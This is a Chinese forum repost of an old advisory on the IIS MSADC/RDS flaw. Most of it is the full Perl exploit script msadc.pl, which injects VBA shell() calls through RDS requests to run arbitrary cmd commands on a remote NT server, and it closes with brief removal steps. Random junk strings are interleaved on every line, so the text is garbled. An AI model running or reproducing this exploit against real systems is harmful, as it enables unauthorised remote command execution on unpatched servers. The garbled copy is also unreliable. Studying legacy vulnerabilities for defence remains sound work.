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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) V'9.l6l   
"pkdZ   
涉及程序: ^QNc!{`  
Microsoft NT server h0<PQZJ  
?/YABY}L  
描述: P<g(i 6]  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Sf S3}Tn[  
;<Q%d~$xy}  
详细: v+LJx    
如果你没有时间读详细内容的话,就删除: L/"MRQ"  
c:\Program Files\Common Files\System\Msadc\msadcs.dll C*mVM!D);!  
有关的安全问题就没有了。 JP4DV=}L  
xr'1CP  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 6x^$W ]R  
!<M eWo  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 b`X''6  
关于利用ODBC远程漏洞的描述,请参看: 6+$2rS$1V  
g-qXS]y7  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Uxjc&o  
ujV{AF`JfB  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 FJeh=\  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZA="Dac  
529b. |  
这里不再论述。 XO]^+'U}p  
W'4/cO  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: l>\EkUT  
^BF}wQb :j  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &ZD@-"@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 8xB-cE  
u[)X="-e#  
m4m-JD|v  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 58Ibje  
?"@Fq2xgB4  
#!perl v*.R<- X:  
# )=f}vHg$  
# MSADC/RDS 'usage' (aka exploit) script O?OAXPK2  
# jq H)o2"/  
# by rain.forest.puppy hJM& rM7  
# L62'Amml  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me IRbyW?/Xv  
# beta test and find errors! GDLi ?3q  
Gj?Zbl <  
use Socket; use Getopt::Std; =n,;S W  
getopts("e:vd:h:XR", \%args); R%.`h  
U =J5lo  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (m3hD)!+y  
]+:yfDtZd  
if (!defined $args{h} && !defined $args{R}) { 4.,EKw3  
print qq~ :-{"9cgF R  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Lip#uuuXXN  
-h <host> = host you want to scan (ip or domain) %gmx47  
-d <seconds> = delay between calls, default 1 second Bj 7* 2}  
-X = dump Index Server path table, if available XH%pV  
-v = verbose /[TOy2/;%b  
-e = external dictionary file for step 5 UIEvwQ  
c~U0&V_`j  
Or a -R will resume a command session \kQ)fk]^  
 ]~;*9`:  
~; exit;} LtB5;ByeQ0  
?d%)R*3IX  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; pwN2Nzski  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} l`\L@~ln  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} d.f0OhQ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =b%f@x_U1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} s:_hsmc"  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !`_f  
IBNg2Y  
if (!defined $args{R}){ $ret = &has_msadc; GXZ="3W |  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Qm[((6}  
0#NMNZ  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" QD.5o S  
. "cmd /c "; =OK#5r[UV  
$in=<STDIN>; chomp $in; k5< n:dS  
$command="cmd /c " . $in ; -o+t&m  
P' VHga  
if (defined $args{R}) {&load; exit;} )>M L7y  
&m--}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; l-w4E"n3  
&try_btcustmr; 3}}/,pGSc  
eY 3:Nl^  
print "\nStep 2: Trying to make our own DSN..."; ]L~z9)  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }4>u_)nt  
vGyQ306  
print "\nStep 3: Trying known DSNs..."; Q%O9DCi  
&known_dsn; SL uQv?R}9  
.Vt|;P}  
print "\nStep 4: Trying known .mdbs..."; K21Xx`XK  
&known_mdb; 1le9YL1_g  
ZTTA??}Y  
if (defined $args{e}){ q-t%spkl  
print "\nStep 5: Trying dictionary of DSN names..."; eSoX|2g  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } _j+,'\B  
*{?2M6Z  
print "Sorry Charley...maybe next time?\n"; '\{ OQ H  
exit; HVvm3qu4  
<uIPv Zsx  
############################################################################## v Z10Rb8  
Fe[6Y<x+:  
sub sendraw { # ripped and modded from whisker sA6HkB.  
sleep($delay); # it's a DoS on the server! At least on mine... ?e-rwaW  
my ($pstr)=@_; No\#N/1@P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (&m1*  
die("Socket problems\n"); 5tv*uz|fv  
if(connect(S,pack "SnA4x8",2,80,$target)){ GYw/KT~$  
select(S); $|=1; u|23M,  
print $pstr; my @in=<S>; 8!v|`Ky  
select(STDOUT); close(S); 6No.2Oo  
return @in; tgBA(2/Co  
} else { die("Can't connect...\n"); }} n^QDMyC;I  
m@nGXl'!  
############################################################################## fyUW;dj  
qF3S\ C  
sub make_header { # make the HTTP request :C;fEJN  
my $msadc=<<EOT =x w:@(]{  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ;2h"YU-b  
User-Agent: ACTIVEDATA cV:Q(|QC  
Host: $ip +PYR  
Content-Length: $clen p3fV w]N  
Connection: Keep-Alive x75;-q  
3=]/+{B  
ADCClientVersion:01.06 TPb&";4ROf  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 a?Om;-i2`S  
JK)|a@BtOT  
--!ADM!ROX!YOUR!WORLD! W{IP}mM  
Content-Type: application/x-varg [ 2@Lc3<  
Content-Length: $reqlen E2 'Al6^C  
Ew}GPJ  
EOT 6AD&%v  
; $msadc=~s/\n/\r\n/g; VFV8ik)  
return $msadc;} w 8o?wx*  
I-.? qcy~  
############################################################################## VII`qbxT  
P9\y~W  
sub make_req { # make the RDS request  qjfv9sU  
my ($switch, $p1, $p2)=@_; ^ &KH|qRrO  
my $req=""; my $t1, $t2, $query, $dsn; R7Tl 1!,h  
fo}@B &=4  
if ($switch==1){ # this is the btcustmr.mdb query 7TAoWD3  
$query="Select * from Customers where City=" . make_shell(); ;2 o{ 6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . KI<x`b  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} f].z.  
PmId #2f  
elsif ($switch==2){ # this is general make table query a[^dK-  
$query="create table AZZ (B int, C varchar(10))"; F`Vp   
$dsn="$p1";} 0wBr_b!  
;Xidv9c  
elsif ($switch==3){ # this is general exploit table query d{!zJ+n  
$query="select * from AZZ where C=" . make_shell(); J!rZs kd  
$dsn="$p1";} -'W:P'BG  
P)TeF1~T  
elsif ($switch==4){ # attempt to hork file info from index server ?fs#K;w  
$query="select path from scope()"; #tPy0Q H  
$dsn="Provider=MSIDXS;";} kH=~2rwm  
:\#]uDT2=  
elsif ($switch==5){ # bad query VyU!r* o  
$query="select"; r'}#usB(  
$dsn="$p1";} \@2sI  
,38bT#p:,r  
$t1= make_unicode($query); <.7W:s,f=  
$t2= make_unicode($dsn); f2|On6/  
$req = "\x02\x00\x03\x00"; RAyR&p  
$req.= "\x08\x00" . pack ("S1", length($t1)); Y!E| X 3  
$req.= "\x00\x00" . $t1 ; 1?+)T%"  
$req.= "\x08\x00" . pack ("S1", length($t2)); Z?",+|4  
$req.= "\x00\x00" . $t2 ; If9!S} wa  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; B7ys`eiB5C  
return $req;} s|!b: Ms`  
BJ/#V)  
############################################################################## Qzk/oH s  
;+qPV7Z  
sub make_shell { # this makes the shell() statement Iq": U  
return "'|shell(\"$command\")|'";} E{9{%J  
\t&6$"n(B6  
############################################################################## Q;$/&Y*  
xcIZ'V  
sub make_unicode { # quick little function to convert to unicode =TI|uD6T  
my ($in)=@_; my $out; Z@iMG  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } bOmM~pD  
return $out;} ;lWy?53=@  
$j}sxxTT  
############################################################################## nBiA=+'v  
f4T-=` SO  
sub rdo_success { # checks for RDO return success (this is kludge) a( {`<F  
my (@in) = @_; my $base=content_start(@in); ")M.p_b[Z=  
if($in[$base]=~/multipart\/mixed/){ l 0b=;^6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} {78*S R  
return 0;} I0jEhg%JZ  
`TsfscN  
############################################################################## ZCJ8I  
|V~P6o(/  
sub make_dsn { # this makes a DSN for us <ct{D|mm  
my @drives=("c","d","e","f"); <db/. A3  
print "\nMaking DSN: "; 1@qb.9wZ6  
foreach $drive (@drives) { %J%gXk}]  
print "$drive: "; iii$)4V  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0_y%Qj^e  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 01q7n`o#zf  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |]\bgh  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {}^ELw  
return 0 if $2 eq "404"; # not found/doesn't exist UZX)1?U  
if($2 eq "200") { +`Bn]e8O  
foreach $line (@results) { 8"* $e I5  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} >%3c1  
} return 0;} :3n.nKANr  
a@r K%Iff  
############################################################################## D3lYy>~d5;  
80]TKf>  
sub verify_exists { ];2eIe  
my ($page)=@_; rqh,BkQ0t  
my @results=sendraw("GET $page HTTP/1.0\n\n"); QBn>@jq  
return $results[0];} &{=~)>h  
0j/81Y}p  
############################################################################## ?RzT0HRd  
x)yf!Dv5$  
sub try_btcustmr { EIEq[`h  
my @drives=("c","d","e","f"); E;d 5$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); tx1jBh:e=  
z|?R=;,u`  
foreach $dir (@dirs) { Po4cbFZ  
print "$dir -> "; # fun status so you can see progress |8`;55G  
foreach $drive (@drives) { TgB;R5  
print "$drive: "; # ditto PrKl whi#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /#se>4]  
$reqlenlen=length( "$reqlen" ); /[IQ:':^  
$clen= 206 + $reqlenlen + $reqlen; l{a&Zy)  
?-84_i  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); XP^6*}H.*  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 7~Ga>BK  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} yl ;'Ru:  
,"VQ 0Z1  
############################################################################## q |^O  
2M#CJ&  
sub odbc_error { @YB\ PVhW  
my (@in)=@_; my $base; l=]vC +mU  
my $base = content_start(@in); XZ&v3ul  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Yr=mLT|JN  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S7q &|nI  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "qm>z@K  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mfN@tMp  
return $in[$base+4].$in[$base+5].$in[$base+6];} (Sv%-8?gs  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; -d3y!| \>a  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . C|J1x4sb@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9|WWA%p  
` ;=Se_  
############################################################################## #"{8Z&Z  
piFQ7B  
sub verbose { e,*[5xQ  
my ($in)=@_; ;2|H6IN"  
return if !$verbose; /_a *C.a6  
print STDOUT "\n$in\n";} L-R}O 8  
.KsvRx  
############################################################################## FOA%( 5$4  
Wu&Di8GhP  
sub save { M<srJ8|'  
my ($p1, $p2, $p3, $p4)=@_; w1_Ux<RF  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; K)@}Ok"#\4  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; WLl9>v^1  
close OUT;} j1kc&(  
`x VA]GR4c  
############################################################################## k9xKaJ %1  
cj<@~[uw  
sub load { gAY2|/,  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; KxwLKaImI  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); n_Y]iAoc`  
@p=<IN>; close(IN); (Qm;]?/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); UG_0Y8$  
$target= inet_aton($ip) || die("inet_aton problems"); lp UtNy  
print "Resuming to $ip ..."; P.B'Gh#^  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]c2| m}I{:  
if($p[1]==1) { OJ 5 !+#>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; mD)O\.uA  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ix+x-G  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); i|^6s87"N2  
if (rdo_success(@results)){print "Success!\n";} EvmmQ  
else { print "failed\n"; verbose(odbc_error(@results));}} 1W[(+TZ&s  
elsif ($p[1]==3){ Q9>]@DrAx  
if(run_query("$p[3]")){ 3@?YTez#  
print "Success!\n";} else { print "failed\n"; }} ~Wm}M  
elsif ($p[1]==4){ 5,ahKB8  
if(run_query($drvst . "$p[3]")){ l7!)#^`2_  
print "Success!\n"; } else { print "failed\n"; }} 6{X>9hD  
exit;} .A/H+.H;  
}2,#[m M  
############################################################################## 6S[D"Q94  
PWu2;JF  
sub create_table { *KH@u  
my ($in)=@_; eBIR *TZ):  
$reqlen=length( make_req(2,$in,"") ) - 28; "J{zfWr  
$reqlenlen=length( "$reqlen" ); a4RFn\4?  
$clen= 206 + $reqlenlen + $reqlen; b1]_e'jj  
my @results=sendraw(make_header() . make_req(2,$in,"")); n;`L5  
return 1 if rdo_success(@results); 5z ^UQ q  
my $temp= odbc_error(@results); verbose($temp); 9%14k  
return 1 if $temp=~/Table 'AZZ' already exists/; ~{G: ,|`  
return 0;} c.Z4f 7  
9lJj/  
############################################################################## \=_q{  
^(*O$N*#  
sub known_dsn { )6 <byO  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !cwVJe  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", W? ||9  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", a3O_#l-Z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); u/'sdt  
_ng =5  
foreach $dSn (@dsns) { C}'="g^=sl  
print "."; Ef!p:HBJ  
next if (!is_access("DSN=$dSn")); gdE`UZ\  
if(create_table("DSN=$dSn")){ >1G*ya)  
print "$dSn successful\n"; p30&JJ!~"  
if(run_query("DSN=$dSn")){ /t)c fFM  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~"2@A F  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ~!9Px j*  
 r;X0 B  
############################################################################## p3FnYz-V  
vcO`j<`  
sub is_access { \N , '+  
my ($in)=@_; 8Vhck-wF  
$reqlen=length( make_req(5,$in,"") ) - 28; X6GkJ R  
$reqlenlen=length( "$reqlen" ); $uK"@Mw  
$clen= 206 + $reqlenlen + $reqlen; */y]!<\v!k  
my @results=sendraw(make_header() . make_req(5,$in,"")); fbTw6Fde$  
my $temp= odbc_error(@results); dHF$T33It  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); fR%1FXpK&  
return 0;} qK vr*xlC  
_JTxm>  
############################################################################## uo'31V0  
S5u#g`I]  
sub run_query { poYAiq_3T  
my ($in)=@_; <Iyot]E  
$reqlen=length( make_req(3,$in,"") ) - 28; DbU;jorwu  
$reqlenlen=length( "$reqlen" ); ,]_(-tyN|  
$clen= 206 + $reqlenlen + $reqlen; g+ 1=5g  
my @results=sendraw(make_header() . make_req(3,$in,"")); T) tZU?  
return 1 if rdo_success(@results); ;GFB@I@  
my $temp= odbc_error(@results); verbose($temp); )(Mr f{  
return 0;} x>,F*3d3  
]'!xc9KGR  
############################################################################## i(yAmo9h  
FEZ"\|I|  
sub known_mdb { 5YI/Ec  
my @drives=("c","d","e","f","g"); F0'A/T'ht  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9Jy2T/l  
my $dir, $drive, $mdb; ViwpyC'v  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (S)E|;f%C  
A :bPIXb  
# this is sparse, because I don't know of many .n& Cq+U;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", A9l})_~i  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {_XrZ(y/  
"\\system32\\certmdb.mdb", o;4e)tK  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ~@uY?jr  
Gk"L%Zt)  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", v<3o[mq  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3 E!<p  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", "R2t&X[9  
"\\cfusion\\cfapps\\security\\realm_.mdb", DxKfWb5 R  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", .d~]e2x  
"\\cfusion\\database\\cfexamples.mdb", V l~Y  
"\\cfusion\\database\\cfsnippets.mdb", C7 ]DJn  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", d9-mWz(V+  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", s w.AfRQP  
"\\cfusion\\brighttiger\\database\\cleam.mdb", EhIV(q9x  
"\\cfusion\\database\\smpolicy.mdb", seuN,jpt  
"\\cfusion\\database\cypress.mdb", ]a6O(]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Ly)(_Tp@+  
"\\website\\cgi-win\\dbsample.mdb", A` o?+2s_  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ;j>Vt?:Pw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" :x""E5H  
); #these are just x #tu  
foreach $drive (@drives) { 1KYbL8c  
foreach $dir (@dirs){ 8S1P&+iKs  
foreach $mdb (@sysmdbs) { oa &z/`@  
print "."; 71l"m^Z3zy  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ MzR1<W{ O  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; wHOlj)CZ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ o\]: !#r{T  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `o_fUOe8a  
} else { print "Something's borked. Use verbose next time\n"; }}}}} c/=y*2,zo  
Y0PGT5].@'  
foreach $drive (@drives) { E +Ujpd  
foreach $mdb (@mdbs) { OS"{"P  
print "."; ^s2m\Q(  
if(create_table($drv . $drive . $dir . $mdb)){ _[TH@fO6:  
print "\n" . $drive . $dir . $mdb . " successful\n"; 'o/N}E!Pt  
if(run_query($drv . $drive . $dir . $mdb)){ P('t6MVl T  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; "s>fV9YyZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2fzKdkJhe  
} %R5Com  
fys5-1@-p  
############################################################################## %[Zqr;~l  
^)OZ`u8  
sub hork_idx { ,yk PQzO  
print "\nAttempting to dump Index Server tables...\n"; WO.0K5nfk  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; uS,p|}Q&  
$reqlen=length( make_req(4,"","") ) - 28; rmPne8D=c(  
$reqlenlen=length( "$reqlen" ); =|E 09  
$clen= 206 + $reqlenlen + $reqlen; \m=-8KpU  
my @results=sendraw2(make_header() . make_req(4,"","")); A \MfF  
if (rdo_success(@results)){ ` /I bWu  
my $max=@results; my $c; my %d; !f\?c7  
for($c=19; $c<$max; $c++){ Gpdv]SON{  
$results[$c]=~s/\x00//g; dNUR)X#e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; jcEs10y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; f`hyYp`d5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; egI{!bZg'\  
$d{"$1$2"}="";} ,pyQP^u-  
foreach $c (keys %d){ print "$c\n"; } QGH h;  
} else {print "Index server doesn't seem to be installed.\n"; }} Jt2,LL:G  
/lLov.  
############################################################################## Vl{~@G,@  
t{R5 EU  
sub dsn_dict { +X:J]- 1)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); K,eqD<  
while(<IN>){ Qj 6gg  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; cc|CC Zl  
next if (!is_access("DSN=$dSn")); QFW0KD`5  
if(create_table("DSN=$dSn")){ ]{IR&{EI-  
print "$dSn successful\n"; lx{.H,1~  
if(run_query("DSN=$dSn")){ /7k.r}6\R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .vv5 t  
print "Something's borked. Use verbose next time\n";}}} `E3:;|  
print "\n"; close(IN);}  2Vp>"  
X,RT<GNNb  
############################################################################## (TEo_BW|+  
bKk CW  
sub sendraw2 { # ripped and modded from whisker [1z{T(dh  
sleep($delay); # it's a DoS on the server! At least on mine... brg":V1a  
my ($pstr)=@_; j|VXC(6 P,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ";PG%_(  
die("Socket problems\n"); AH&9Nye8  
if(connect(S,pack "SnA4x8",2,80,$target)){ >j50 ;</  
print "Connected. Getting data"; ==]Z \jk  
open(OUT,">raw.out"); my @in; wVgi+P  
select(S); $|=1; print $pstr; bK3B3r#$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} O.*jR`l  
close(OUT); select(STDOUT); close(S); return @in; [O^}rUqq  
} else { die("Can't connect...\n"); }} ;#3ekl{-g  
\s=QiPK  
############################################################################## <fNGhmL  
r_Lu~y|  
sub content_start { # this will take in the server headers luW <V>  
my (@in)=@_; my $c; h ZoC _\  
for ($c=1;$c<500;$c++) { g-."sniP$g  
if($in[$c] =~/^\x0d\x0a/){ p1Q/g Il  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  QTVa  
else { return $c+1; }}} 3PsxOb+  
return -1;} # it should never get here actually d,)}+G  
[ZuVUOm  
############################################################################## AK6=Ydu  
B ,V( LTE  
sub funky { +.w[6  
my (@in)=@_; my $error=odbc_error(@in); @. "q  
if($error=~/ADO could not find the specified provider/){ gf+o1\5t@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; F?7u~b|@{  
exit;} \WWG>OUh.U  
if($error=~/A Handler is required/){ z4CJn[m9  
print "\nServer has custom handler filters (they most likely are patched)\n"; BSN6|W  
exit;} 7g-Dfg.w  
if($error=~/specified Handler has denied Access/){ wi>DZkR  
print "\nServer has custom handler filters (they most likely are patched)\n"; SijtTY#r  
exit;}} dIma{uv  
/x$}D=(CZ  
############################################################################## g{e/X~  
+<&E3Or  
sub has_msadc { nt7|f,_J  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ;:P7}v fz!  
my $base=content_start(@results); >GgE,h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); bn$)f6%  
return 0;} ,ohmc\*J  
9 +}cE**=d  
######################## ^Sw2xT$p{j  
\H^;'agA  
veV_be{i  
解决方案: oWI!u 5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll }@wVW))6$  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 I`NUurQTX  
R }1W  
拿出来充数 哈哈
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